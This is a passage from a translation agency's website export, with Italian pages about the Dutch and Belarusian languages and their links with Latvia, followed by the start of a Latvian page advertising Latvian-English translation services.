difficili. Di fatti, un altro aspetto complicato sono i dittonghi, ossia combinazioni di due vocali che producono un suono che nessuna vocale in olandese può produrre da sola. Pertanto, praticare la lingua orale è molto importante. UN ORDINE DELLE PAROLE CONFUSO Nella grammatica olandese, la costruzione della frase è molto caotica e più le frasi diventano lunghe più l’ordine delle parole è confuso. Quando si utilizzano strutture passive complesse e i tempi del futuro, l’aggettivo si trova solitamente a fine frase. L'USO DEGLI ARTICOLI DE E HET In olandese ci sono due modi distinti di utilizzare gli articoli de e het. In teoria, de si usa con tutte le parole maschili e femminili, mentre het con tutte le parole neutre: De vrouw - la donna De man - la persona Het kind - il bambino Tuttavia, sono molte le parole olandesi che non hanno un chiaro riferimento al genere, creando problemi nella scelta dell’aggettivo da utilizzare. Per questo motivo, può essere piuttosto difficile sapere quale articolo utilizzare. Perciò bisogna soltanto ascoltare la lingua e imparare; questa è la parte difficile dell'apprendimento dell'olandese. Per imparare davvero la lingua, è importante sfruttare ogni occasione di praticarla. Tuttavia, per comunicare non è necessario conoscere molte parole o complicate regole grammaticali. Non c’è nulla di male nel fare errori se si parla, ascolta, legge e scrive solo in olandese. Si possono passare anni ad imparare la lingua e nonostante ciò continuare ad imbattersi in parole mai viste. Secondo i dati del Foreign Service Institute, sono necessarie circa 600 ore (o 24 settimane) di studio per imparare a parlare in un olandese piuttosto basico. Naturalmente non si ha spesso la possibilità di studiare la lingua per 25 ore a settimana senza interruzioni. Pertanto, per mettere in prospettiva questi numeri, sarebbe necessario avere: 11,5 ore a settimana per un anno per fare lezioni di olandese 5,5 ore a settimana per un anno per fare lezioni di olandese. I NOSTRI INTERPRETI E TRADUTTORI DI OLANDESE Il nostro team di traduttori e interpreti professionisti fornisce sia traduzioni di documenti standard che traduzioni tecniche complesse, come anche traduzioni certificate da un notaio. L'agenzia di traduzione Skrivanek si occupa anche della revisione e del miglioramento stilistico dei testi in olandese. Naturalmente, i nostri linguisti specializzati possono anche fornirvi informazioni sulle differenze culturali, su come comportarvi con i partner commerciali olandesi e sulla storia e tradizioni del paese. Le tematiche dei documenti che traduciamo da/verso l’olandese sono diverse, dato che Olanda e Lettonia collaborano attivamente in diversi settori, come il commercio, l’economia, l’istruzione, la cultura, ecc. I seguenti sono i servizi di traduzione da/verso l’olandese che più spesso forniamo alle aziende nostre clienti: adattamento di homepage, traduzione di contenuti per l’e-commerce e di slogan pubblicitari, di testi di marketing, ma anche di contratti di collaborazione e di documentazione commerciale. Forniamo anche servizi di interpretazione consecutiva e simultanea in occasione di incontri commerciali e di altro tipo, di conferenze e di altri eventi. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. L’OLANDESE NEL COMMERCIO Dato che i Paesi bassi sono una delle nazioni più ricche del mondo, l’influenza economica dell’olandese è maggiore di quanto si pensa. Nonostante molti olandesi parlino inglese, in Olanda gli incontri commerciali si svolgono ancora in olandese. Se si vuole vivere e lavorare nei Paesi bassi, la conoscenza della lingua locale aiuterà a capire la cultura olandese. Tuttavia, è possibile usare l’inglese ovunque. RELAZIONI BILATERALI TRA LA LETTONIA E I PAESI BASSI Specialmente nei settori dell’agricoltura, della cultura e dell’istruzione, la Lettonia e l’Olanda hanno delle strette nonché amichevoli relazioni, caratterizzate da un regolare dialogo politico e diverse forme di collaborazione. L’Olanda è un partner economico tradizionalmente importante per la Lettonia. L'inizio delle relazioni economiche bilaterali tra Paesi Bassi e Lettonia risale alla Lega anseatica. Gli scambi commerciali tra città portuali come Riga, Amsterdam e Groningen tra il XIII e il XVII secolo hanno favorito lo sviluppo commerciale in entrambe le nazioni. Anche oggi la Lettonia continua ad enfatizzare il proprio interesse nello sviluppo e nel consolidamento delle relazioni economiche con i Paesi bassi e lo fa mediante la promozione di esportazioni dall’alto valore aggiunto verso l’Olanda. I due paesi hanno delle economie aperte e dinamiche, la cui collaborazione è confermata da elevati e stabili indicatori di commercio bilaterale e dal volume di investimenti olandesi in Lettonia. I due paesi membri della NATO e dell’UE cooperano sulla base del Memorandum d’intesa sulla difesa e relazioni militari firmato a Londra il 19 settembre 2008 dal ministro della difesa della Repubblica di Lettonia e dal re dei Paesi bassi. Lo scopo di tale memorandum è quello di continuare ed approfondire la collaborazione tra Lettonia e Paesi bassi all’interno della NATO e dell’UE in materia di risorse per la difesa. Inoltre, i due paesi collaborano con successo anche nel campo della logistica e dei trasporti. Di fatti, il porto di Riga collabora con il porto di Rotterdam grazie al fatto che molte aziende che si occupano di trasporto di container (Containerships, Unifeeder Container Service e Mann Line Multimodal) percorrono tale rotta con regolarità. Inoltre, dal 2016 sono state organizzate delle spedizioni di prova di treni container tra Cina e Lettonia, le quali hanno percorso anche la tratta marittima e ferroviaria Ürümqi-Riga-Rotterdam. La Lettonia continua ad essere interessata nel mettere a disposizione la sua vantaggiosa posizione geografica ed infrastrutture per il traffico di merci tra Europa e Asia. Per di più, il paese baltico ha anche in atto una buona collaborazione nel campo dell’istruzione con le università olandesi ricche di tradizioni. Sono numerosi gli istituti di istruzione superiore lettoni, sia privati che pubblici, ad aver firmato degli accordi di collaborazione con quelli olandesi per lo scambio di studenti, professori e ricercatori. Gli istituti di istruzione superiore lettoni collaborano attivamente con quelli olandesi nell'ambito del programma di istruzione e ricerca dell'UE. Ogni anno, sono molti i giovani lettoni che vengono ammessi negli istituti di istruzione superiore olandesi per conseguire una laurea triennale o magistrale. L’attivissima collaborazione fra i due paesi è tale perché basata su relazioni storico-culturali e su un interesse professionale reciproco. Essa ha luogo nella forma di collaborazione tra le due nazioni o nel contesto di progetti internazionali, dove esse collaborano anche con altri paesi. Nel settore della cultura, l’Olanda e la Lettonia collaborano nei seguenti campi: industria creativa, musei, musica, arte, cinema, teatro ed educazione alla cultura. L'ambasciata dei Paesi Bassi si adopera attivamente per promuovere la collaborazione tra i due Paesi in vari settori e si occupa anche dei cittadini del proprio Paese che soggiornano sul territorio lettone. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’ OLANDESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a olandese; da olandese a lettone; da estone a olandese; da olandese a estone; da lituano a olandese; da olandese a lituano; da russo a olandese; da inglese a olandese; da olandese a inglese; da ceco a olandese; da olandese a ceco; da polacco a olandese; da olandese a polacco; da ucraino a olandese; da olandese a ucraino; da olandese a spagnolo; da spagnolo a olandese; da tedesco a olandese; da olandese a tedesco; da italiano a olandese; da olandese a italiano; da francese a olandese; da olandese a francese; da danese a olandese; da olandese a danese; da norvegese a olandese; da olandese a norvegese; da svedese a olandese; da olandese a svedese; da finlandese a olandese; da olandese a finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’ OLANDESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a olandese; da olandese a lettone; da estone a olandese; da olandese a estone; da lituano a olandese; da olandese a lituano; da russo a olandese; da inglese a olandese; da olandese a inglese; da ceco a olandese; da olandese a ceco; da polacco a olandese; da olandese a polacco; da ucraino a olandese; da olandese a ucraino; da olandese a spagnolo; da spagnolo a olandese; da tedesco a olandese; da olandese a tedesco; da italiano a olandese; da olandese a italiano; da francese a olandese; da olandese a francese; da danese a olandese; da olandese a danese; da norvegese a olandese; da olandese a norvegese; da svedese a olandese; da olandese a svedese; da finlandese a olandese; da olandese a finlandese, ma anche altre combinazioni. --- > Traduzioni e altri servizi linguistici in lingua bielorussa. Oltre 25 anni di esperienza. Ottenete un preventivo gratuito in 25 minuti! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-baltkrievu-valoda/ - Translation Priorities: Optional TRADUZIONI IN BIELORUSSO QUANTO COSTANO LE TRADUZIONI IN BIELORUSSO? Il prezzo delle traduzioni viene calcolato singolarmente per ogni ordine e dipende da diversi elementi: il termine di consegna della traduzione, le caratteristiche del testo, il servizio di correzione di bozze, la formattazione, come anche i servizi aggiuntivi richiesti dal cliente (certificazione notarile, ecc. ). È DISPONIBILE IL LISTINO PREZZI PER LE TRADUZIONI? Sì, il listino prezzi dei servizi di traduzione da/verso il bielorusso è parte integrante dell’accordo di cooperazione che stipuliamo con i nostri clienti, i quali vengono sempre informati sul prezzo del servizio prima della realizzazione del progetto. Il costo di ogni traduzione varia a seconda di diversi fattori: le sue caratteristiche (traduzione scritta o interpretazione), il numero delle parole nel testo di partenza, le ripetizioni presenti nel testo, ma anche a seconda di altri parametri. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso il bielorusso? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua bielorussa: Traduzione di documenti in bielorusso Interpretazione simultanea in bielorusso Validazione linguistica di traduzioni in bielorusso Interpretazione consecutiva in bielorusso Trascrizione in bielorusso Grafica e composizione tipografica in bielorusso Servizi di voice over e di sottotitolaggio in bielorusso Servizi di selezione di staff bielorusso Marketing multiculturale in bielorusso Gestione dei documenti in bielorusso Servizi di deposizione in bielorusso Servizi di data room virtuali in bielorusso Supporto per l'e-learning in bielorusso Cercate un servizio linguistico in bielorusso? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISOI nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI SULLA LINGUA BIELORUSSA Il bielorusso fa parte della famiglia delle lingue slave orientali ed è parlato principalmente dai bielorussi. Con il referendum del 14 maggio 1995, esso perse il suo status di unica lingua ufficiale della Bielorussia e il suo prestigio ed uso nella sfera pubblica iniziò a diminuire velocemente. Nel 1999, in occasione del primo censimento svolto in Bielorussia, il bielorusso fu dichiarato come “lingua parlata in ambito familiare” da circa 4 milioni dei cittadini, ossia il 36,7% della popolazione. In circa 7 milioni invece, ovvero l'85,6% della popolazione, la hanno definita la loro "lingua madre". Secondo uno studio del 2009 svolto dal governo bielorusso, il 72% della popolazione parla russo a casa e solo l’11,9% usa attivamente il bielorusso. Intorno al 29,4% è in grado di leggere, scrivere e parlare bielorusso, mentre il 52,5% può solo leggere e parlare la lingua. Il bielorusso è la lingua nazionale dell’etnia bielorussa, nonché la lingua ufficiale della Repubblica di Bielorussia. Tuttavia, solo una minoranza della popolazione lo parla (non più del 28% della popolazione secondo le stime più ottimistiche) e se lo fa è soprattutto per mantenere viva la lingua. Di fatti, in ambito domestico, la comunicazione in bielorusso tende ad essere forzata e la maggior parte di coloro che affermano di parlare bielorusso parla in realtà una lingua detta trasjanka, ossia una fusione tra russo e bielorusso. Il suo vocabolario proviene principalmente dal russo, ma la grammatica e la fonetica sono del bielorusso. Essa è il risultato dell’unione del dialetto bielorusso con il moderno russo letterario. È interessante notare come la trasjanka, che inizialmente era utilizzata solo in ambito colloquiale, si sia diffusa anche nel giornalismo. Sono diverse le ragioni che hanno portato a questa situazione. La principale è sicuramente il referendum del 1996, il quale diede al russo gli stessi diritti del bielorusso. Le due lingue nazionali sono tuttavia utilizzate in maniera estremamente sbilanciata: il bielorusso non è mai usato per svolgere procedimenti legali e quasi mai nei documenti pubblici. Il russo sta quindi attivamente sostituendo il bielorusso, portando quindi alla crescita della tendenza a chiudere le pubblicazioni in bielorusso (a partire dal giornalismo). Il russo partecipa attivamente nell’espansione del vocabolario bielorusso; molti dei termini che si riferiscono all’economia, alla cultura, alla scienza, alla produzione ed altri aspetti della vita sociale sono infatti prestiti da questa lingua. Inoltre, la vicinanza geografica con la Lituania e i diversi secoli di coesistenza nella stessa area hanno favorito intense relazioni con i lituani. Ciò ha influenzato il vocabolario bielorusso, creando una parte di lessico di origine lituana. Per di più, il bielorusso è anche caratterizzato dalla presenza di molti vocaboli di origine polacca, i quali sono il risultato dei quasi quattro secoli di sviluppo della lingua nel contesto del bilinguismo bielorusso-polacco. Nella lingua sono presenti anche germanismi, i quali sono entrati a far parte di questa lingua slava grazie a mercanti, artigiani e militari tedeschi, i quali venivano invitati nella nazione negli anni del Gran ducato di Lituania. Questi vocaboli appartengono principalmente all’ambito dell’artigianato, dell’edilizia, della guerra e del commercio. PRONUNCE Il bielorusso ha due dialetti: il dialetto nord-orientale e quello sud-occidentale, i quali sono separati dai dialetti centrali di transizione. I dialetti del bielorusso sono simili e i parlanti di dialetti diversi si capiscono fra loro. Il numero di studenti che studiano in bielorusso è in rapida diminuzione. Di fatti, nei centri regionali e nelle grandi città sono pochi coloro usano la loro lingua madre come lingua di istruzione. Inoltre, non ci sono università che offrono corsi in bielorusso. Questa è una delle principali motivazioni che scoraggia i genitori a mandare i propri figli in scuole in cui gli insegnamenti sono in bielorusso. Nell’anno scolastico 1994/1995, il 58% degli studenti della scuola primaria hanno ricevuto l’istruzione in bielorusso. Tuttavia, nel 1994, con l'ascesa al potere di Lukashenko, il numero di classi è diminuito. Così nel 1999 solo il 5,3% degli studenti del primo anno della scuola primaria di Minsk erano parte di programmi in lingua bielorussa. Nell’anno scolastico 2016/2017 invece, quasi 128. 000 studenti (il 13,3% del totale) hanno studiato in bielorusso. La maggior parte delle scuole bielorusse si trova in zone rurali ma, a causa di un fenomeno di migrazione verso le aree urbane, esse stanno via via chiudendo. In Bielorussia, ogni anno chiudono circa 100 scuole e nella maggior parte di esse l’istruzione viene erogata in bielorusso. Gli studenti di questi istituti sono quindi spesso trasferiti a scuole di lingua russa. Di conseguenza, sempre meno studenti fruiscono di un istruzione in bielorusso. Nelle città, sono solo sette le scuole bielorusse, sei delle quali si trovano nella capitale Minsk (2019). L’atlante delle lingue del mondo in pericolo dell’UNESCO definisce il bielorusso come lingua vulnerabile. L'ALFABETO BIELORUSSO L’alfabeto bielorusso si basa sui caratteri cirillici e deriva dall’alfabeto dell’antico slavo ecclesiastico. Nella sua forma moderna esiste dal 1918. In precedenza, venivano utilizzati anche l’alfabeto latino bielorusso (Łacinka/Лацінка), l’alfabeto arabo bielorusso e l’alfabeto ebraico. I kitab, ossia libri in bielorusso scritti a mano utilizzando l’alfabeto arabo, occupano un posto speciale della storia dell’antica scrittura bielorussa del XVI-XVII secolo. Essi risalgono al XVI secolo ed erano scritti dai tartari di Crimea che si erano stanziati in Lituania e in Bielorussia e che, alla fine, dimenticarono la lingua che era del loro popolo. Di fatti, il bielorusso divenne per loro non soltanto una lingua orale, ma anche una lingua scritta utilizzata per diverse tipologie di letteratura, sia musulmana religiosa che orientale laica. Questi manufatti sono preziosi anche perché, mediante l’alfabeto arabo, forniscono una dimostrazione sistematica delle peculiarità fonetiche del bielorusso, cosa che avviene solo occasionalmente nelle testimonianze in cirillico del bielorusso antico. QUANTO È DIFFICILE IL BIELORUSSO? Essendo imparentato con il russo e l’ucraino, l’apprendimento del bielorusso non dovrebbe dare problemi a chi parla queste due lingue. Dal punto di vista fonetico, esso è piacevole da ascoltare, mentre grammaticalmente è simile al russo. Tuttavia, il processo di apprendimento potrebbe essere ostacolato dal fatto che oggigiorno è difficile reperire materiali didattici e che quelli disponibili sono alquanto russificati. Nonostante sia molto triste, nelle scuole bielorusse la lingua nazionale, ossia il bielorusso, è insegnata come una lingua straniera, proprio come l’inglese. I NOSTRI TRADUTTORI E INTERPRETI DI BIELORUSSO L'agenzia di traduzione Skrivanek offre servizi di traduzione di testi scritti e interpretazione professionali da e verso il bielorusso. Le traduzioni sono fornite da interpreti con alle spalle molti anni di esperienza nel loro ambito e conoscenze professionali in vari settori. La nostra esperienza garantisce quindi che le traduzioni siano coerenti con i rispettivi testi di partenza e che le informazioni in esse contenute siano comprensibili. I correttori di bozze si occuperanno dei miglioramenti stilistici e della correzione di bozze del testo. Il nostro team di traduttori e interpreti fornisce ai clienti di Skrivanek sia traduzioni standard che certificate da un notaio. Forniamo servizi di interpretazione in tribunale e in trattative commerciali a persone sia fisiche che giuridiche. Ci occupiamo anche di tradurre documentazione tecnica, siti web, contratti e contenuti per l’e-commerce da e verso il bielorusso. Qualsiasi sia la richiesta del cliente troveremo il servizio e il linguista specializzato adatto a soddisfarla. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, di certificati di matrimonio, di documenti relativi all’istruzione o alla formazione e di altri documenti di diritto civile. Forniamo anche servizi di interpretazione da/verso il bielorusso. IL BIELORUSSO NEL COMMERCIO Data l’attuale situazione politica in Bielorussia, il bielorusso è poco utilizzato come lingua commerciale nella nazione, lasciando quindi spazio alla seconda lingua nazionale, ossia il russo. Naturalmente, il bielorusso è la lingua madre della maggior parte della popolazione del paese, ma è principalmente utilizzato in ambito domestico. Nella corrispondenza con i partner commerciali di altre nazioni, sono utilizzati il russo e l’inglese. I BIELORUSSI IN LETTONIA Dopo quella russa, la minoranza bielorussa è la seconda maggiore della Lettonia. Sono secoli che essi vivono nella parte sud-orientale del paese baltico ed è dal medioevo che i due paesi commerciano tra loro attraverso il fiume Daugava, il quale attraversa le due nazioni. Allo stesso modo, ci sono sempre state piccole comunità lettoni in Bielorussia. Esse sono ancora una porzione significativa della popolazione che vive nel confine. Prima della Seconda guerra mondiale, erano circa 37. 000 i bielorussi stanziati in Lettonia. Gli anni dell’indipendenza lettone che seguirono la Prima guerra mondiale furono particolarmente positivi per i bielorussi, dato che si videro garantito lo status di minoranza. In questo periodo, l’intelligencija bielorussa ricevette finanziamenti dallo stato, fondò l’associazione culturale e formativa “Tēvija” (“Бацькаўшчына”) e aprì più di 50 tra scuole e licei bielorussi. Furono inoltre stampate pubblicazioni in bielorusso e fondati associazioni e teatri bielorussi. In questi anni, questo popolo iniziò a preoccuparsi della protezione e sviluppo della propria lingua. Tuttavia, nel 1934, in Letgallia il lettone iniziò ad essere preponderante e le scuole bielorusse furono quindi abolite. Furono poi riaperte durante l’occupazione tedesca, per poi essere chiuse nuovamente nel 1944. Tra gli anni ‘50 e ‘80 ci fu un significativo flusso migratorio proveniente dalla Bielorussia verso la Lettonia, la quale era già sotto il regime totalitario sovietico. Sono quindi più di 80. 000 i bielorussi che oggi vivono in Lettonia. Tuttavia, per molti di loro la loro etnia è più una questione di origine etnica che di identità. Solo un quinto dei bielorussi è in grado di comunicare nella propria lingua madre. La maggior parte di essi vive infatti in famiglie miste in cui il russo è la lingua dominante. In Lettonia c’è solo una scuola primaria di lingua bielorussa: la scuola primaria Yanka Kupala. Il suo scopo è quello di aiutare i bambini bielorussi ad integrarsi nella società lettone, cercando tuttavia di salvaguardare la loro lingua e cultura. Purtroppo, la scuola non può offrire un'istruzione secondaria. È innegabile: è sempre meglio se si può studiare nella propria lingua madre. Le associazioni bielorusse fanno del loro meglio per preservare la propria identità, per favorire la salvaguardia e lo sviluppo delle tradizionali canzoni folcloristiche, della lingua e delle cultura tra i bielorussi che vivono in Lettonia, ma cercano anche di promuovere l’integrazione sociale e la cooperazione internazionale. Nel 2011, l’unione Bielorussia della Lettonia, con il supporto del consiglio comunale della città di Riga, dell’ambasciata Bielorussa, di Liepāja Metalurgs e di Iļģuciems, ha pubblicato un dizionario bilingue lettone-bielorusso. Esso fu iniziato dalla linguista Mirdza Ābola ma, dopo la sua morte, fu completato e preparato per la stampa sotto la supervisione di Lučic-Fedorec, professore associato dell’Istituto di lingua e cultura dell’Accademia bielorussa delle scienze, nonché dottore di ricerca in scienze filologiche. Attualmente, gli interessi della popolazione bielorussa e dei bielorussi in Lettonia sono rappresentati dal consolato bielorusso di Daugavpils. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL BIELORUSSO: traduzioni specialistiche e generali; traduzioni scritte urgenti; traduzioni certificate da un notaio; traduzione automatica con servizio di post-editing; adattamento di testi e copywriting; localizzazione; servizi di desktop publishing (DTP); interpretazione; corsi di lingua. COMBINAZIONI LINGUISTICHE: Dal lettone all'inglese; dall'inglese al lettone; dal lettone al bielorusso; dal bielorusso al lettone; dall'estone al bielorusso; dal lituano al bielorusso; dal bielorusso al lituano; dal russo al bielorusso; dal bielorusso al russo; dal ceco al bielorusso; dal bielorusso al ceco; dal polacco al bielorusso; dal bielorusso al polacco; dall'ucraino al bielorusso; dal bielorusso all'ucraino; dal bielorusso allo spagnolo; dallo spagnolo al bielorusso; dal tedesco al bielorusso; dal bielorusso al tedesco; dall’italiano al bielorusso; dal bielorusso all’italiano; dal francese al bielorusso; dal bielorusso al francese; dal danese al bielorusso; dal bielorusso al danese; dal norvegese al bielorusso; dal bielorusso al norvegese; dallo svedese al bielorusso; dal bielorusso allo svedese; dalfinlandese al bielorusso; dal bielorusso al finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL BIELORUSSO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; traduzione automatica con servizio di post-editing; adattamento di testi e copywriting; localizzazione; servizi di desktop publishing (DTP); interpretazione; corsi di lingua. COMBINAZIONI LINGUISTICHE: Dal lettone all'inglese; dall'inglese al lettone; dal lettone al bielorusso; dal bielorusso al lettone; dall'estone al bielorusso; dal lituano al bielorusso; dal bielorusso al lituano; dal russo al bielorusso; dal bielorusso al russo; dal ceco al bielorusso; dal bielorusso al ceco; dal polacco al bielorusso; dal bielorusso al polacco; dall'ucraino al bielorusso; dal bielorusso all'ucraino; dal bielorusso allo spagnolo; dallo spagnolo al bielorusso; dal tedesco al bielorusso; dal bielorusso al tedesco; dall’italiano al bielorusso; dal bielorusso all’italiano; dal francese al bielorusso; dal bielorusso al francese; dal danese al bielorusso; dal bielorusso al danese; dal norvegese al bielorusso; dal bielorusso al norvegese; dallo svedese al bielorusso; dal bielorusso allo svedese; dalfinlandese al bielorusso; dal bielorusso al finlandese, ma anche altre combinazioni. --- > Nepieciešami tulkošanas pakalpojumi no latviešu valodas angļu valodā vai otrādi? Mēs jums palīdzēsim! Sazinies ar Skrivanek Baltic - Published: 2023-12-06 - Modified: 2025-06-03 - URL: https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/ - Translation Priorities: Optional PROFESIONĀLI TULKOŠANAS PAKALPOJUMI NO LATVIEŠU VALODAS ANGĻU VALODĀ UN NO ANGĻU VALODAS LATVIEŠU VALODĀ Ja jums ir nepieciešami augstas kvalitātes tulkošanas pakalpojumi latviešu valodā, tad pietiks meklēt. Skrivanek Baltic jums palīdzēs. Mēs esam prasmīgu tulkotāju un latviešu valodas speciālistu komanda, kas specializējas latviešu-angļu un angļu-latviešu tulkojumos. Starp citu, vai jau sekojat mūsu latviešu valodas padomiem? Mums ir 25+ gadu pieredze darbā ar dažādu jomu dokumentu un mārketinga tekstu tulkojumiem, tostarp ar industriālajiem, tehniskajiem, medicīniskajiem un juridiskajiem tekstiem. Neskatoties uz to, vai jums nepieciešami standarta vai notariāli apliecināti tulkojumi, mēs nodrošināsim visu jums nepieciešamo pakalpojumu klāstu. Mūsu radošo tekstu tulkotāju komanda parūpēsies ne tikai par to, lai teksts būtu korekti tulkots, bet arī par to, ka tulkotais teksts būtu efektīvs un iedarbīgs, mērķauditorijas kultūrai atbilstošs. Varam sagatavot tulkojumu arī vieglajā latviešu valodā. 10 IEMESLI, LAI IZVĒLĒTOS SKRIVANEK BALTIC TULKOJUMIEM NO LATVIEŠU VALODAS ANGĻU VALODĀ VAI NO ANGĻU VALODAS LATVIEŠU VALODĀ Stingra datu aizsardzība un uzraudzība: visi tulkojumi tiek veikti ES dalībvalstīs. Tas pats attiecas arī uz materiāltehnisko nodrošinājumu, visi mūsu piegādātāji ir no ES dalībvalstīm, tādējādi palīdzot nodrošināt pilnīgu jūsu informācijas konfidencialitāti. Atbalsts vairāk nekā 100 datņu formātiem: mēs strādājam ar daudziem dažādiem datņu formātiem, tostarp PDF, JPG, IDML, JSON un HTML, kas nozīmē, ka jums nav nepieciešams pārveidot jūsu dokumentus pirms nodot mums tulkošanai vai lokalizācijai. Piedāvājam tulkojumus vairāk nekā 110 valodās: mūsu visaptverošie tulkošanas pakalpojumi aptver vairāk nekā 110 valodu, tādēļ jums nav jāmeklē vairāki tulkošanas biroji, lai veiktu tulkojumus arī citās valodās, piemērām, lietuviešu, igauņu, somu, zviedru vai vācu valodā. Plašs valodu pakalpojumu klāsts: no dokumentu tulkošanas līdz filmu subtitriem un tīmekļa vietņu vai lietotņu lokalizācijas risinājumiem — mūsu birojs piedāvās vispiemērotāko risinājumu tieši jums. Saņemiet cenu piedāvājumi tiešsaistē jau tūlīt: varat atvadīties no stundām ilgas cenu piedāvājumu gaidīšanas. Mēs nosūtīsim jums cenu piedāvājumu 30 minūšu laikā. Saņemiet tulkojumus tiešsaistē: saņemiet tulkotos dokumentus, arī notariāli apliecinātos e-dokumentus savā e-pastā, savukārt tradicionālos papīra formāta tulkojumus varam nosūtīt jums pa pastu vai ar kurjeru, līdz ar to jums vairs nav jātērē savs laiks ceļam uz pie mums uz biroju. Taču mēs vienmēr būsim priecīgi satikt jūs pie mums Lāčplēša ielā 87C, Rīgā. Parocīgs klientu portāls: sekojiet līdzi visam vienuviet un apziniet projekta izpildes progresu, izmantojot mūsu lietotājiem draudzīgo klientu portālu. Kvalitātes nodrošināšana: esiet droši, visi mūsu tulkojumi atbilst augstākajiem standartiem. Esam ISO sertificēts uzņēmums un esam ieviesuši ISO 9001, 17100 un 27001 kvalitātes vadības sistēmas procesus kā apliecinājumu mūsu ideāliem pēc augstākās kvalitātes un izcilības. Ekspertu tulkotāju un valodas speciālistu komanda: Skrivanek Baltic ir augsti prasmīgu un pieredzējušu tulkotāju, korektoru un redaktoru komanda, kas specializējas tulkošanā no latviešu valodas angļu valodā un no angļu valodas latviešu valodā un kuriem latviešu valoda ir dzimtā valoda. Viņiem ir dziļa izpratne par abām valodām un kultūras niansēm, tādējādi nodrošinot precīzus un kultūrai atbilstošus tulkojumus. Dedzīgi projektu vadītāji: Skrivanek Baltic katram tulkošanas projektam ieceļ rūpīgus un pieredzējušus projektu vadītājus. Viņu atbildība ir uzraudzīt visu tulkošanas procesu, nodrošinot tulkojuma laikā nodošanu, un atbildēt uz jebkādiem jautājumiem vai raizēm, kas jums rodas projekta gaitā. Viņu zināšanas un uzmanība detaļām nodrošina vislabāko tulkošanas pieredzi. Lai sasniegtu savus uzņēmējdarbības mērķus, uzticamiem un profesionāliem tulkojumiem latviešu valodā, izvēlieties Skrivanek Baltic. Nepieciešams profesionāls tulkojums no latviešu angļu valodā vai no angļu valodas latviešu valodā? Sazinieties ar mums! Skrivanek Baltic nodrošina rakstiskos un mutiskos tulkojumus 100+ valodās. Saņemiet cenu piedāvājumu tiešsaistē jau tūlīt. Augstas kvalitātes rezultāts garantēts! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par rakstiskajiem tulkojumiem jau tūlīt! PROFESIONĀLI TULKOŠANAS PAKALPOJUMI NO LATVIEŠU VALODAS ANGĻU VALODĀ UN NO ANGĻU VALODAS LATVIEŠU VALODĀ Ja jums ir nepieciešami augstas kvalitātes tulkošanas pakalpojumi latviešu valodā, tad pietiks meklēt. Skrivanek Baltic jums palīdzēs. Mēs esam prasmīgu tulkotāju un latviešu valodas speciālistu komanda, kas specializējas latviešu-angļu un angļu-latviešu tulkojumos. Starp citu, vai jau sekojat mūsu latviešu valodas padomiem? Mums ir 